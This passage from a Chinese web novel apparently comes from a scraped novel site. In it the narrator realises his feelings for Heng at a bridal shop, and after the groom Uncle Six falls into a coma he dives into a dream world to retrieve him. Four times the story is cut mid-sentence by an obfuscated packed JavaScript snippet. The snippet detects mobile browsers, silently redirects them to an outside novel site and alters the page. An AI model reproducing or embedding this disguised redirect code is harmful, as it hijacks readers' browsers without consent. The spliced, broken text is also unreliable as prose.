珩穿着一双美丽刑具,她最好还是别动了。我大步走过去,站在她旁边。镜子里映出我和她的身影——她好漂亮,一点妆没化,穿着白色的裙子,依然明艳夺目,光彩照人。我先前居然从来没有意识到她的漂亮,虽然这事她的T恤短裤洞洞鞋难辞其咎,但主要还是怪我。不对。怪她。谁和她相处会首先发现她的漂亮?我和她站一起,大家必然先看她,连我自己都只顾得上看她,因为她通身散发出某种神秘和深邃,让她像一片辽阔的蔚蓝的海。而我只是幸运地捡走了爸妈基因里漂亮的几段,和她一对比,我的漂亮很乏味。是这样,谁都会先注意到事物更亮眼更夺目的部分,谁见识过她那深不见底的智能,还会在意她的脸?前一秒还在店员突然急转弯的眼神里沾沾自喜的我,这一秒又变成了一只阴沟里的自卑老鼠。老鼠巴巴地看着镜子,镜子里的珩和我对上目光。她喊我:“喂。” “干嘛?” “这个不适合你,你换那个深灰色的试试。” 我小声:“又不是我结婚,六叔比我矮,穿浅色不精神。” 她也小声,音量很温柔,语气很霸道:“让你换就换。” ……行。非要看黑老鼠变灰老鼠,那就变呗。 变完深灰老鼠让我变浅灰老鼠。 变白老鼠。 变卡其色老鼠。 又变回黑老鼠,这次是马甲背心鼠。 “那个绿色的你试试?” 我看着店员手里拿着的果绿色衣服。她认真的?她认真的?我觉得她在耍我,但四个阿姨没有一个出来阻止,她们的表情分明是让我去试。被我们反复折腾了快大半个小时的店员脸上也没有不耐烦的神色,甚至另外一边在挑婚纱和伴娘服的几个年轻女孩也在看我们。店里这么多个人投来的殷切目光让我难以开口说出一个“不”字。但我真的不想穿,这玩意丑得突破天际,连我这个每天都穿得很随便去上班的人都难以忍受。 “你试试嘛。”珩继续扮演她的恋爱脑娇妻,“你就试一试嘛,好不好?” 她这是在撒娇吗? 要命了真是。 拿她没办法。拿她们所有人没办法。我没好气地接过店员手里的衣服,第不知道多少次往更衣室走去。 这身鲜艳的果绿色套装,在更衣室的镜子里已经丑得我不愿睁眼。而当我拉开更衣室门,门锁打开的清脆声响仿佛惊醒了在座的所有人,我刚开门,外面就一点声响都没有,安静得可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402337|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕,而所有人都看着我,好像我是什么稀奇的动物,刚从笼子里跑出来向观众展览。然后我敏锐的听力捕捉到另一群客人中一个年轻女孩“哧”地笑出声,她跟同伴说了句:“避雷这颜色吧哈哈哈,长再帅都撑不起来,我的天太丑了哈哈哈。”我:“……” 珩笑得眉眼弯弯,语气温柔,眼神崇拜,她摆出这副样子,接下来的话但凡有一个字是真的,我就把我自己的头吃掉。“这个好看,很有活力,”她一边说一边掏出手机,“我给你拍一张。” 我掉头直奔更衣室跑,臭珩居然追过来,她穿着高跟鞋我怕她摔,只好停下。这一犹豫的功夫,她已经来到我面前,她扯着我的外套袖子,说:“我给你拍一张嘛。” 我斜斜睨了她一眼,无声地表示拒绝。 她改换策略,站到我旁边,转到前置摄像头:“那我跟你拍一张。” 手机屏幕里的她穿着婚纱,雪白的长裙衬得她皮肤更亮,我看着屏幕里的她和怪物史莱克同色系的我,有些私心在暗暗涌动。画面里的她忽而看向我,吓得我立即把几乎要钻到屏幕里的目光收回。 我从口袋里摸出我自己的手机:“你手短,我来拍。” 她仰头不满地看我一眼,不远处站着的店员走到我们面前,笑眯眯地说:“我来给你们拍吧。” 我把手机递给店员,之后我和珩并肩站着,等着店员给我们拍照。我很紧张,站得笔直,生怕难得的机会里,只留下一张站没站相的合影。店员喊我:“先生可以笑一笑!太严肃了。”我的大脑在每分钟一百多次的血液脉冲下快速运转,思考我怎么笑拍出来会比较好看。珩倒是很放松,她甚至很入戏,她耍我必然是耍得很开心,看见我紧张到手足无措,她就满意了。她突然挽过我的手臂,之后顺势就靠在了我的肩上。那一刻我的呼吸从自动档转成手动档,我分明倒吸了一口气,然后就不知道该怎么把这口气呼出来。 一阵强烈的喜悦冲上我的大脑,很神奇的感觉,实验室里打翻了放神经递质的架子,人好像在一万个乱窜的电流信号里漂浮。我完蛋了。我绝对是完蛋了。我想起过去好几个从汹涌的心潮中醒来的早晨。 ——我一定是单身太久了,一定是缺爱,一定是把情感上的依恋当成喜欢,总之我不可能喜欢她,我不可能真的喜欢她,我可以是好色,可以是精虫上脑,可以是下半身接管大脑,可以是一切,总之不能喜欢她。 可现在我激烈地跳动着的心脏,和周身涌动着的炽热的血液,还有我漂浮的大脑……一切一切。这个机体的每一个细胞都在向我陈述一个我不愿意承认,但又不得不承认的事实。 我喜欢她。 我完蛋了。 我如受宣判,薛定谔的猫纸箱打开,千万种高速变幻着的可能性,坍缩成一个确定的点。我喜欢她。是的,我喜欢她。我就是喜欢她。我无须再羞耻于自己想要无时无刻和她接近的冲动,也无须再纠结我因她而产生的踌躇嫉妒和患得患失,因为我喜欢她。这就是我一切混乱无序和骚动的最终答案。 我如蒙大赦,如释重负,那一口吸进来就不知道该怎么吐出去的气被缓缓呼出,我放松地朝她微微靠近,看向前方的镜头。 52. 变故 出来的时候已接近傍晚,张阿姨喊困,我跟她换了个位置,我来负责开车。几个阿姨都困了,没过多久,后排就传来均匀的呼吸声。 珩没睡着,她放松地靠在椅背上,看起来心情不错。也许是因为确定了自己的心意,我反而有些拘谨,不像平时那样,不停想要跟她讲废话。车子就这样安静地行驶着,天色渐暗,工作日晚高峰的车流正在成型,车子被困在繁华的商业区里,行进缓慢。 珩好像有点轻微晕车,走走停停晃晃荡荡如同摇篮的车厢里,她看起来蔫蔫的。这个时间点,每个人都归心似箭,着急回家的车在车龙里左穿右插,堵得人心烦。碍在几个阿姨在睡觉,我不好按喇叭,但隔壁好些车子已经忍耐不住,哔哔卟卟的喇叭声此起彼伏。 杂乱的噪音背景里,谁的手机在震。 不是我的手机,我没管,机器震动的声音持续几十秒后停止。但对方似乎很着急要找到人,安静下来没两秒,某人的手机又开始震动。 我看一眼隔壁的珩:“是不是你手机在响?” 珩歪在座椅上,偏过来看我一眼,之后伸手摸自己口袋。果然是她手机在响,看到来电显示时,她细长的眉毛轻轻蹙起。 “喂?”她接通电话。 电话那边很吵,杂音很多,我听不清对方说了什么。但因为晕车而面带倦色的珩,像是忽然被惊醒过来,她给对方留了一句:“你等我一下,我现在回来。”之后就匆匆挂断了电话。 车子还堵在路中间,她看向路边不远处的地铁站,小声和我说道:“我现在下车,我要回去一趟。” 车龙纠缠成一片蛇饼,她匆忙开门下车,之后从车和车的缝隙里钻出,跑到路边的地铁站入口去。我目送着她的背影离开,她看起来很着急,也没想起来要道别,一转眼便踏上地铁站的扶手电梯,缓缓被人来人往的地下空间吞没。 她没跟我说是什么事情,我也没来得及问。我有一瞬间看向了自己的手机,想着要不要给她发个信息问问。但转念一想又作罢,算了,让她先忙去吧。 车子在路上磨磨蹭蹭,磨到目的地商场附近,熟睡的几个阿姨才陆续醒过来。我含糊其辞,只说珩接了个电话有急事跑了,她们也没多问,我带着她们几个去吃烤肉。除了和中老年发福老公到处觅食的张阿姨,其他三个人都没来过烤肉店。她们四个聊得热火朝天,我跟她们有代沟,我负责烤肉和安静地听,不开口说话,注意力无处安放,好像有一片注意力粘在了珩的身上,随她不知到哪去了。这一晚上我吃得心不在焉,总忍不住在想她发生了什么,现在又在哪里。 珩一直没给我发信息,吃过饭之后,我把几个阿姨都送回了家。张阿姨家离我住的地方不远,我慢慢地往家的方向走。夜深人静,只剩了我一个人,我实在忍不住,摸出手机,给珩发了条信息。 “你吃饭了吗?” 现在是晚上八点五十分,这不是她会秒回的时间段。今晚自然也不例外,她没回复。 我想了想,转身往社区活动中心的方向走去。 到达社区活动中心的时候,时间已接近九点。老人们都已经回家,屋里只剩下几个社工在打扫卫生。一看见我来,没等我开口问,他们就先说道:“珩还在里面聊着呢。” “聊了快半个小时,不知道在聊什么。” “听起来很激动的样子,好像都哭了。” 我皱起眉:“什么?” “嘘,你听听,这不是有人在哭吗?” 走廊那头的屋子里确实隐约有人在哭,那声音一抽一抽的,中间夹杂着断断续续的,因为持续啜泣而发音不清的含糊词句。 “哭好久了,我们不知道是什么事,也不敢进去看。”扫地阿叔对我说,“正好你来了,你去看看吧。” 我追着声响的来源,走过社区活动中心的门厅,除了门厅,后面的房间都已经关了灯,走廊上只剩下左边花园和右边街道的路灯照明。整条走廊上,只有最末尾的房间开着灯。灯光和里面人说话的声音都从房间没关严的一小条门缝中漏出,我加快脚步,几乎小跑着上前。里面人哭泣的声音越来越大,说话的声音一直隐藏在沉重的呼吸声下,听不清内容。 忽然间窗纸上映着的瘦削人影站了起身,那是珩,向来没什么情绪波动的她,几乎有些失控地从椅子上起身,我听见了她的声音,和她以前教训我时不一样,她爆发的情感显得飘忽,像一团没有质料的火焰。 “我说了我做不到,我不能让死人复生,我不能把他叫醒,你听明白了吗?” 吼出这一句话之后,窗上的剪影便颓颓然地立在那里,她的肩膀颤抖着,似乎是在哭。 我不管了,一手把门推开。珩就站在靠近门的地方,她眼圈通红,浅色的眼睛湿漉漉的,好像是要哭。她看起来很累,神疲力倦,连看见我突然间出现在面前,脸上也激不起多少惊讶。 我马上挡在她的面前,我看见她那几乎要落泪的眼睛,一句话都说不出来,手忙脚乱地在自己身上乱摸,找平时根本不可能随身带着的纸巾。她沉默着,既不说话,也不看我,只是微微低着头,似有些沮丧地偏过脸去,看着门外的走廊。 而我这时候留意到屋里的哭泣声还在继续,甚至在她吼出刚刚那句话之后,哭泣声变得更大。像是之前压抑着没放开哭,现在破罐子破摔,哭得声嘶力竭。我这才反应过来我在外面听到的哭声不来自于珩,我回过头去。 对面坐着的是一个三四十岁,穿着整齐讲究的职业套装的中年女人,细边眼镜摘了放在一边,一双眼睛哭得比我那天还肿。她脸上的妆全花了,因为一直用纸巾抹眼泪,连眼睛上面的眉毛都花掉,一边眉毛颜色深,一边眉毛颜色浅。而她似乎赶了一段路,高跟皮鞋的边缘划得脚上皮肤通红,看起来很疼,她一直无意识地踮起脚尖,让脚后跟远离鞋子。 我险些没认出那是谁,因为她以前每次出现在我面前,都是一个优雅干练的女教授形象。 那是司徒阿姨和六叔的女儿。 我转向珩:“发生什么了?” 珩回答时的声音几乎有些冷漠,她好像在陈述什么和自己一点关系都没有的事:“六叔昏迷了,现在在ICU。” 后面女儿哭得更厉害了,而我被这突如其来的消息震懵。前几天不是才说准备出院了吗?怎么忽然间……今天早上我们甚至还在欢天喜地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412882|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地给司徒阿姨挑婚纱。怎么忽然间…… “不是,什么意思?” 珩的声音变得更冷,她那语气几乎有些迁怒的意思:“肝癌晚期,肝功能衰竭,肝性脑病,这几天开始行为失常,为了瞒住司徒阿姨,每天只让她去见六叔一会儿就走。就在今天下午,他昏过去了,之后就没再醒来。我在车上接的电话,是六叔被转到ICU,医院下了病危通知书。” 后面女儿已经泣不成声,珩一点没顾念她的难过,接着说道:“意思就是他现在醒不过来了,婚礼办不成,明白了吗?” 这两三个星期的时间里,甚至之前更久远的日子里,我们这么多人,为了这场婚礼做了这么多的筹备工作。上天为何这样安排,明明一切都准备妥当,偏偏在这时候要将六叔带走。我心里很乱,一方面觉得可惜,另一方面……我不敢想司徒阿姨知道这个消息之后会难过成怎样。二十分钟前我送她回家时,她还满怀憧憬地和我说,啊呀,女儿结婚之后,十几年没见过阿六穿西装了,有点期待呢。结果现在,她可能连六叔最后清醒着的时光都已经错过,她甚至来不及跟他作最后的告别。 “真的没有别的办法了吗?”我挣扎着说,“他至少还活着,有没有可能让司徒阿姨见他最后一面,和他说几句——” 我不知道我说了什么,我好像在无意间踩到了珩的猫尾巴,她忽然间又作出攻击的态势,她冰冷的目光显得好陌生。她凶我好多次,但从来没有这样的表情,不知道是我哪句话碰到了她的逆鳞,她几乎是恶狠狠地看向我,声音冷酷得可怕:“我说了没有。” 我瞬间喑声。连后面哭着的女儿也愣住了。她这个样子太陌生了,简直和平时不像同一个人。 “你什么意思,你在怀疑我没有尽力是吗?他是昏迷了,不是睡着了,我不可能进他的梦里,把他沉没的意识捞出来。活人和濒死的人之间有一层壁,我没有濒死的体验,底下是我观测不到的区域,我下不去!” 她那爆发的怒意像一阵火焰,但它很虚弱,在一次激烈的爆发过后,它瞬间就化成了几片轻飘飘的灰烬。她的精神好像霎时委顿下去,我看见她眼里的怒意倏地熄灭,之后她湿漉漉的眼睛疲惫地闭上,两滴泪从她的眼里无声地滚落。她匆忙地用手背擦了擦脸,之后就一声不吭地转身出去。 我追上去,她听见我来,更加快脚步,不想搭理我。我没办法,只好伸手去抓她。她的手臂很细,她回头看我的时候脸上都是草草擦掉的泪痕,她看起来比平时脆弱好多,我几乎担心要弄疼她,她一回头,我就赶紧松了手。她不高兴地盯着我看,但这时候的她像个纸老虎,一边装出平时严肃的样子,一边忍不住在掉眼泪。 “我没有要怀疑你,或者责怪你。”我向她道歉,“我只是觉得有点可惜,想让他们见一面,想看看还有没有别的方法。对不起。” 道歉不起作用,她凶巴巴地看我一眼,还在掉眼泪。她偏开脸,背着我又狠狠地抹了一把眼泪。 “刚刚你说是因为你没有濒死的经历,所以没法下去是吗?如果是因为这个,也许我能帮上忙。” 她停住擦眼泪的动作,转过身来看我:“你说什么?” 53. 界 “你记得吗,我十岁从家里跑出来那一次,在医院里住了好久。中间有几天,我的记忆是空白的,我想那时候我可能也在昏迷。那天你带我到梦境里,我能看见底下的深渊。”我不敢看她,她湿润的眼睛让我手足无措,我忙乱地解释,“也许我观测过六叔现在所在的深度。婚礼办不成是有点可惜,但要是实在没办法……我想让他们最后再聊几句,说声再见?那应该不会花很多时间吧。” 我不知道我哪句话戳到了她的旧伤,她哭得更厉害了,她哭起来很安静,只是一味地掉眼泪。她不停地用手背去擦眼泪,就是不让它完整地掉下来。我回头看一眼,瞥见司徒阿姨的女儿从她的手提包里摸出了一包手帕纸,我钻回屋里,匆忙问她要了两张纸,又跑出来。珩接过我手里的纸巾,她擦脸的动作很急,甚至有些粗暴,她眼周哭得通红的皮肤被她擦得像是马上就要破开。我看不下去,劝道:“好了好了,你别哭了。” 她又瞪我。现在的她就是易燃易爆炸,容不得别人对她指点半分。 “我哭怎么你了。” 说完又狠狠往脸上抹一把。 我很难跟她解释我现在的感觉,我一方面很想抱抱她,另一方面心里清楚她不需要也不想我抱她。第三方面呢我想知道到底是我说了什么让她更加伤心,我好奇她的过去,第四方面呢我又觉得我不配问。总之看见她哭我很难受,但我又什么都做不了,什么也不敢说,无处表达的情绪全藏在某块心肌里,它现在正在我的胸腔里阵阵刺痛。而我甚至不能告诉她,看见你哭我很心疼。她必然会把我当油腻流氓,一脚把我踹走。 所以我只能站在那里看着她,沉默。 不知道她是不是读懂了我的沉默,她身上的尖刺好像霎时收了回去,她像个瘪掉的河豚,仰头用她哭红了的眼睛看我。我几乎在她的目光软下去的那一刻就接收到了信号,我轻轻张开了手臂,准备随时给她一个怀抱。但她没搭理我,匆忙转开目光,声音又变回平时那样,冷静克制,听不出丝毫私人感情,刚才又哭又骂人的珩好像被她瞬间藏到体内,不出来了。 “那你跟我们一起去医院。”她说,“我现在打车。” 我讪讪地收回双臂,答道:“好。” 我们从社区活动中心打车去医院,途中到司徒阿姨楼下接她。司徒阿姨看起来懵懵的,丢了魂一样,很不在状态。我坐在副驾,珩和女儿把司徒阿姨夹在中间,我从后视镜上看她们,珩面无表情,司徒阿姨目光呆滞,女儿则挽着妈妈的手臂,很竭力要忍住不在她面前哭的样子。我见不得这种场合,虽然我只在照片和司徒阿姨的记忆里见过六叔,但我一想到后面两个人可能会在不久的将来永远地失去一个亲人,我心里就跟着难受。我只好靠在椅背上,假装分神地看窗外。 时间已经是晚上九点半,晚高峰已经过去,路面很通畅,没多久车子就在医院门口停下。 我跟着她们,辗转到了医院住院部的重症监护室门口。司徒阿姨和她女儿按了门铃,很快一个带着花布帽子,穿着洗手衣的医生出来了。重症监护室有两道门,她们和医生就站在两道门之间的区域说话。外面的门关上了,我和珩听不到他们在说什么,只是隔着门上小小的玻璃,看到两个人点头,低头,急匆匆地擦眼泪。之后里面的门打开,另一个不知道是医生还是护士的人走来,她给她们递来两套白色的隔离衣,还有蓝色的塑料鞋套,司徒阿姨和女儿套上衣服和鞋套,之后就走进了病房。 我和珩坐在大门外的等候区上,这里几乎没有人,后排有两个像是等了很久的家属,他们四仰八叉睡在最角落几个连在一起的座位上。我对医院本能地有些害怕,幸好我坐的地方靠墙,我被珩和墙壁围在中间,总算找回点安全感。 珩转过脸来看我:“你带手绳了吗?” 我没反应过来:“什么手绳?” “我给你的那根。” “……在家呢。”我看她,“我回去拿?” 她摇摇头,之后从自己的头发上解下一个小小的发卡,她欠身过来,将发卡夹在我的头发上。 她离得有点近,我在清醒状态下看到的最后一幕,是她小声和我说:“我和你一起下去。” 之后我就睡着了。 这次和上次还不一样,不对,也许是一样的。上次我和她在房间里,她帮我找十四岁的我所在的深度,那时候的梦里只有我和她两个人。现在大概是因为我在医院里,我附近的人不少,我和珩进电梯,刚进去就看见外面有两个人在水面上漂浮,他们在醒和睡之间来回切换,看来是后排两个打瞌睡的家属。电梯里依然能看见我的梦境,但在更远的地方,我能看见别人的电梯,一根根透明的电梯井,像水生植物一样杵在看不清深度的池底,向上伸展。大概在我的浅睡眠区域,我看见几个人在缓慢地下沉,但他们沉到一定深度,就悬浮在原地不动了。看样子他们是ICU里面的病人,情况稳定,只是睡着,所以漂在梦境里,享受着难得的深沉睡眠。 再往下走,我就看见有人在下沉。 我指着外面的人影问珩:“他怎么在下沉?” 珩趴在电梯厢上往外看:“这个人越睡越深,像是给了镇静药的样子。” “那个呢?”我又指另一个下沉的人。 “那个不太妙,嗜睡状态,有可能昏迷过去。” “你怎么知道?” 她伸手指向第一个人:“你看他落得很快,比前面那个睡着觉的快,但他是匀速的。你再看那个,”她指第二个人,“他越落越快,现在已经比上一个人要快得多。” 我也趴在电梯厢上观察,是像她说的这样,但我还是不明白。 “所以你是根据有没有加速判断的吗?”我问。 “对啊,你忘啦?”她看我,“在梦里的时间是现实中的九倍,每一层梦境都是上一层的九倍。你看这个人,他只是在第一层梦境的浅处落到深处,他始终还在第一层里,所以他是匀速的。但那个人,他在往更深一层的梦境掉,所以他在加速——” “你的意思是,这里的距离,其实是时间?” “对。”她说,“嗯,更准确来说,是这个人梦里的时间。” “那速度又是什么?” “我推测是大脑运行的速度。”她说,“你可以这么理解,你平稳地睡着了,现在你就停在了一个固定的点上,这样你就是一个参考系。一个在正常睡眠状态做梦的人,他的大脑运行速度是稳定的九倍,随着现实中的时间过去,他就在梦里匀速地走过九倍的时间。但如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419937|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个人在昏迷的途中,他就越沉越快,如果他某天醒来了,他可能会告诉你,他做了个几十年的梦,但实际上他只是昏迷了十天八天。” “等等,那按照你这么说,”我被这反常识的时空观弄得有些晕头转向,“越接近昏迷的人,下沉的速度就越快,相当于他大脑的运行速度就越快?” “是这个意思。” “这有点不对,”我说,“那岂不是越昏迷越清醒,越清醒越昏迷?按照你这个理论,所有人都应该去梦里考数学,因为那时候脑子比醒着的时候快。” “对于一个筑梦师来说是这样的,但普通人不能这么做,你记得你上次坐电梯下去吗?乱七八糟的梦会堆在一起。因为普通人的快同时伴随着乱,所以叠加起来还不如缓慢的单任务进行得好。” 我忽然想起了浩仔,那个一边和我说话一边写作业的多动小孩。难怪珩说她天然有筑梦的天赋,他的大脑可以同时处理多个任务,这意味着在速度提升的时候,他可以有序地让几件事同时进行,而不是胡乱地看到什么就把什么塞到自己空闲的系统里运行。 我又想起十四岁的我自己,他把我推到陷阱里。我的身体那时候必然不是昏迷状态,但我可以在梦里加速,击穿一层又一层的楼板。筑梦师和普通人的不一样,难道就是筑梦师可以在机体清醒或者普通睡眠的状态下,把大脑的运行速度拉到和昏迷时一样快?如果真是这样,对于他们来说,时间就是永恒的,决定生命长度的不是机体本身,而是大脑的运行速度。 我不敢再想这些庞大的陌生的概念,理解这一切对于现在的我来说还有点困难。我趴在轿厢上看外面,企图找到六叔的身影。但我没看见他。我和珩越落越深,水里的光线变得昏暗,而外面几乎没有人,我们好像已经落到比ICU大多数病人要深的地方。很突然地,电梯到底了。电梯门打开,我和珩走出去。外面全是水,我往上看,上方是亮的,越往上越亮,但水面离我们很远。我又低头看了一眼,险些吓得后退。 我不知道珩看到的是什么,我看到的是一片黑色的深渊,几乎没有光,看不到底在哪。珩先踏出一步,她稳稳地落在暗与亮的交界处,似乎站在水中无形的玻璃分隔层上,我跟着她出去,我的重心刚落到前脚,我就踩空往下掉。我几乎在一瞬之间沉了下去,冰冷的水漫过我的身体,我连喊都来不及喊。珩也吓得不轻,她抓着我的手,被陡然下坠的我拖得也往下倒。 但奇怪的是,她没沉下去。她跌在无形的地面上,而我在水里,只剩了个脑袋,和她在一个海拔上。 她趴在地上,而我抓不到任何实体,只好抓住她的手。 她在害怕。她难得地有些恐惧,眼里有些不知所措,而抓着我的手很用力,生怕一松手我就会掉下去。 刚下水的时候水挺冷的,但适应了一会儿,又好像还行。我难得见她吓得神情紧张身体紧绷,这场面有点感人,又有点好笑。因为我和她现在实在太像是在电影里的样子,这一切让我觉得似曾相识。 “珩。”我叫她。 “啊?”她还是很担心,“你可以吗?六叔可能还在更底下……要不要把你拉上来?” “我不是想说这个。”我说,“你看我们现在像不像在演泰坦尼克号。” 54. 水底寻人 她一愣,而后蹙起的眉头舒展开,“哧”地一声笑出来。她伸出一个指头,戳了戳我的额头,我人在水里,被她戳得往下沉了几分。我其实有点害怕,因为这水也太黑了,我一感觉到自己往下掉,不由自主地就开始扑腾。我扑腾得她也害怕,她又连忙抓住我的手,她的手太小,抓我的手腕有些扣不住,为了弥补体型上的差距,她手上分外用力。这种被紧紧抓住的感觉很好,虽然我迟早要沉下去找人,但我不想让她想起这一点。我慢悠悠地在她看不见的水面之下踩水,保持着一个要沉不沉的悬浮状态。 她趴在地上看我:“底下冷吗?” “还行。” 她好像想摸一下水的温度,但又没敢松开抓我的手,我的心思已经完全不在水里,我把它忘了。她小心翼翼的,像是在害怕一不小心就会把我弄丢。回想过去,我何曾受人这样珍视过,虽然希冀她像我喜欢她一样喜欢我,有点异想天开,有点白日做梦,但她至少是在意我的。 我带着她的手去摸地面下的水,但那层看不见的玻璃地板,随着她的手靠近,瞬间就铺展开。她无论怎么往下探,都无法把手伸到玻璃之下。 她看着玻璃下方我的手,短暂的怔忪过后,又抬头看我。“你这次真得自己下去了,我陪不了你。”她说。 “没事,我不怕。”我装的,不怕才怪,但我总不能撒娇说我怕,因为她真的不可能下来。我不知道这是不是触及到她的某些伤心往事,她看着这层地面的眼神有些哀伤,我想我最好还是赶紧下去,捞人,回来,别在这里多做逗留。 “那我放手了?”她说,又嘱咐道,“你小心点。” “嗯。” “有什么不对的就叫我。我把你摇醒。” “嗯。” “那我放手了?” 我点点头。 她松开了手,我停下踩水的动作,我笔直地立在水中,一停下来,我就直直地往下沉。我其实是害怕的,但我想想珩夹在我头上的发卡,心里又好像找到些着落。没沉下去多深,不知是不是幻觉,我好像听见她在喊我。 不管了,我往上游,我落得不深,很快我就一下窜到水面上,从地板冒出一个头。 “你刚刚是在叫我吗?”我说。 她很突然地靠近我,之后张开怀抱,抱住了我冒出来的脑袋和小半截身体。“你能听见我喊你就好,你能回来就好。”她松开我,又跪坐在地上,伸手摸摸我的头顶,“要是实在找不到,你就回来。” “你放心,我会回来。” “你一定要回来。” “好,我答应你。” 我说完这句话,她才慢慢地松了手。我朝她挥挥手,一转身扎到水里去。我往下游,水里很暗,但我没游多久,就看见很远处似乎有个人影在下沉。人是有光亮的,他在幽暗的水中发光,我追着他所在的深处就游了过去,我一边游一边大喊:“六叔!六叔!是你吗?” 人影好像变换了一下姿势,但依然在下落。 我跟他的速度是一样的,甚至我可能比他慢——我迟早比他慢。我在正常睡眠的第一层梦境里,而他在往更深沉的昏睡状态沉。我想我要跌入下一层,甚至再往下跌一层,我才能比他更快,才能追上我和他之间漫长的时间。 我努力去回想当时珩把我推入下一层梦境时,那种神经元被级联点亮,黑暗的脑区一片闪光的感觉。 在我抓到跌破梦和更深的梦之间的楼板的感觉时,我感觉到我某片遥远的脑区亮了,之后它抽痛了一下,像是熬了个大夜过度用脑的感觉,很亢奋,但大脑好像在膨胀,挤得头很疼。 我忽然开始加速。 一层梦境是九倍速,除了上次被十四岁的自己往陷阱里推,我没试过以这么快的速度在时间里穿行,但远处的人影一点没变大——他还在离我很远很远的地方。我在水里又大喊道:“六叔!六叔!听得到吗!六叔!”人影又动了动。我到底是在靠近他了,我看清了他的动作。他至少是听得到的,他往我这边探了探,好像要试着看看我是谁。但他无法控制自己下落的趋势,他也就保持着这个想要靠近我的姿势,继续往下坠。 这样不行,我还是太慢,虽然现在我的头已经有点难受,但根据我上次被十四岁臭初中生推下去的经历来看,我的身体能耐受的梦境层数也许能到两位数。疼是疼,但疼不死,疼不死就再试试。我集中注意力,又开始回想后背击穿楼板的感觉。 第三层。 我感觉自己在飞,水在我耳边飞快地掠过,头疼得像要爆炸,但那边的人影变得更近,在八十一倍的加速过后,我终于开始肉眼可见地靠近他。我再一次大喊:“六叔!” 那边人应了一声:“是在叫我吗?” “你是六叔吗?”我喊。 “是啊,你是在叫我吧,我是匡五六,”他说,“你是谁啊?” 他不认识我。他没见过我。我只好喊:“我叫江夷。司徒阿姨,还有你们的女儿,还有珩,她们让我来找你的。” “啊?”他还有点惊讶,“我还没死呢?” 我一路加速,飞快地在水里潜行,他的身影愈发清晰,现在的他比司徒阿姨记忆里的他要瘦很多,面色晦暗,黄得发黑。只是他眼睛还很亮,人很精神,看来昏迷时大脑确实比醒着快,听他说话,我一点没意识到这其实是个在现实中彻底昏迷过去的重病人。他还问我:“你怎么能游的?你教教我,我一直在往下沉,都沉好几天了,一点也动不了。” “这个等会再教你。”我一听到他说已经沉了好几天,心觉不妙,因为他实际上昏迷过去的时间只有不到四个小时。我游到他身边,他很瘦,我一手就能把人抱住,之后我转身往上升。 我已经沉到很深很深处,光很少,这里几乎像海里的无光层,环境很空旷,但什么都看不见,人落在其中,有种茫茫的孤寂感。我怕黑,怕没有人的地方,我抱着六叔,尽可能快地往上游。六叔对他的现况和乱成一锅粥的家里没有什么概念,七十岁的老头退回童蒙状态,这时候还在我旁边“哇”,好像在玩海底观光过山车。 我恨不得马上看见珩,恨不得马上回到她身边,我越是着急,这段路显得越长,我感觉我在黑暗的海里游了好久,才终于看到很上方水面照进来的光线,和珩悬浮在水中的身影。对于我和六叔来说,那层玻璃地面不存在,我游得太快,像个飞鱼一样带着六叔,嗖地从水里窜出来。 我们飞出来的时候珩还在盯着水底看,我们差点要撞到别人的电梯井上,扰了其他ICU病人的清梦,我喊:“珩!我们在这里呢!” 她闻声转过来,她看起来很紧张,而在看见我们的时候,她的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425523|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛又好像有点湿漉漉的。这场面挺温馨的,假如我和六叔没有还在失控地高速往上飞的话。 “你去哪啊?”她总算是发现问题了。 “救命,我开了八十一倍速,怎么停下来啊?”我喊。 我们已经飞离地面好些距离,变得好渺小的她似乎是被我惹笑了:“你快发一个你要醒来的指令!” 好的,我要醒来,我要醒来,我要醒来…… 